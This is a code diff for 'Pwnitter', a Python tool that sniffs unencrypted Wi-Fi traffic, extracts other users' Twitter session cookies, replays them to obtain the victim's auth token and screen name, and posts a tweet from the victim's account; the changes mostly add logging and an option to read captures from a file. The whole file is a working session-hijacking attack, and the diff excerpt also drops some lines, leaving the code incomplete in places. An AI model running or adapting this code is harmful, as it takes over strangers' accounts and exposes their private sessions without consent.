import dbus.service
import dbus.mainloop.glib
import getopt, sys, pcap, dpkt, re, httplib, urllib
+import logging
+import logging.config
import socket
import time
import gobject
import select
import subprocess
+import urllib2
status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
@dbus.service.method(NAME,
in_signature='', out_signature='')
- def Start(self):
+ def Start(self, filename=None):
# FIXME: Prevent double Start()
- self.setup_monitor(self.device):
+ if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
+ self.setup_monitor(device)
+ device = self.device
+ else: # We have given a filename, so let's make PCap read from the file
+ device = filename
self.is_running = True
try:
self.cap = pcap.pcap(device)
self.cap.setfilter('dst port 80')
cap_fileno = self.cap.fileno()
self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device)
+
+ @dbus.service.method(NAME,
+ in_signature='s', out_signature='')
+ def StartFromFile(self, filename):
+ return self.Start(filename=filename)
+
def cap_readable_callback(self, source, condition, device):
return self.pwn(device, self.MessageSent)
return self.status
- def tear_down_monitor(device='mon0'):
+ def tear_down_monitor(self, device='mon0'):
cmd = '/sbin/ifconfig mon0 down'.split()
subprocess.call(cmd)
cmd = '/usr/sbin/iw dev mon0 del'.split()
def pwn(self, device, tweeted_callback=None):
+ log = logging.getLogger('pwn')
+
processed = {}
if self.is_running: # This is probably not needed, but I feel better checking it more than too less
ts, raw = self.cap.next()
eth = dpkt.ethernet.Ethernet(raw)
- #print 'got a packet'
+ log.debug('got a packet')
# Depending on platform, we can either get fully formed packets or unclassified radio data
if isinstance(eth.data, str):
data = eth.data
hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
if hostMatches:
- print 'Host matched'
+ log.debug('Host matched')
host = hostMatches.group(1)
cookieMatches = re.search('Cookie: ([^\n]+)', data)
+ log.debug('CookieMatches? %r', cookieMatches)
if cookieMatches:
cookie = cookieMatches.group(1)
+ log.debug('yummie Cookie %r', cookie)
headers = {
"User-Agent": "Mozilla/5.0",
"Cookie": cookie,
}
- conn = httplib.HTTPSConnection(host)
try:
- conn.request("GET", "/", None, headers)
+ page = urllib2.urlopen("https://%s/" % host).read()
except socket.error, e:
- print e
+ log.error(e)
else:
- response = conn.getresponse()
- page = response.read()
+ log.debug('Connected to host %s', host)
# Newtwitter and Oldtwitter have different formatting, so be lax
authToken = ''
if authMatches:
authToken = authMatches.group(1)
+ log.info('Found auth token %r', authToken)
nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
if not nameMatches:
name = ''
if nameMatches:
name = nameMatches.group(1)
+ log.info('Found name %r', name)
# We don't want to repeatedly spam people
- # FIXME: What the fuck logic. Please clean up
- if not ((not name and host != 'mobile.twitter.com') or name in processed):
+ # Also proceed if we didn't find a name but are on the mobile page
+ if not (name in processed) or ((not name) and host == 'mobile.twitter.com'):
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json, text/javascript, */*",
}
- print 'Issueing connection'
+ log.debug('Issueing connection')
if host == 'mobile.twitter.com':
params = urllib.urlencode({
response = conn.getresponse()
- print 'Got response: %s' % response.status
+ log.debug('Got response: %s', response.status)
if response.status == 200 or response.status == 302 or response.status == 403:
if name:
# 403 is a dupe tweet
if response.status != 403:
- print "Successfully tweeted as %s" % name
- print 'calling %s' % tweeted_callback
+ log.info("Successfully tweeted as %s", name)
if tweeted_callback:
tweeted_callback(name)
else:
- print 'Already tweeted as %s' % name
+ log.info('Already tweeted as %s', name)
else:
- print "FAILED to tweet as %s, debug follows:" % name
- print response.status, response.reason
- print response.read() + "\n"
+ log.error("FAILED to tweet as %s, debug follows:", name)
+ log.error("%s, %s", response.status, response.reason)
+ log.error("%s", response.read())
return self.is_running # Execute next time, we're idle
# FIXME: Ideally, check whether Pcap has got data for us
if __name__ == '__main__':
+ from optparse import OptionParser
+ parser = OptionParser("usage: %prog [options]")
+ parser.add_option("-l", "--loglevel", dest="loglevel",
+ help="Sets the loglevel to one of debug, info, warn, error, critical")
+ parser.add_option("-s", "--session", dest="use_session_bus",
+ action="store_true", default=False,
+ help="Bind Pwnitter to the SessionBus instead of the SystemBus")
+ (options, args) = parser.parse_args()
+ loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
+ 'warn': logging.WARN, 'error': logging.ERROR,
+ 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
+ logging.basicConfig(level=loglevel)
+ #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
+ log = logging.getLogger("Main")
+
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
- #session_bus = dbus.SessionBus()
- session_bus = dbus.SystemBus()
+ if options.use_session_bus:
+ session_bus = dbus.SessionBus()
+ else:
+ session_bus = dbus.SystemBus()
name = dbus.service.BusName(NAME, session_bus)
pwnitter = Pwnitter(session_bus, '/Pwnitter')
#object.Start()
loop = gobject.MainLoop()
- print "Running example signal emitter service."
+ log.info("Running example signal emitter service.")
# FIXME: This is debug code
#gobject.idle_add(pwnitter.MessageSent)
projects / pwnitter / blobdiff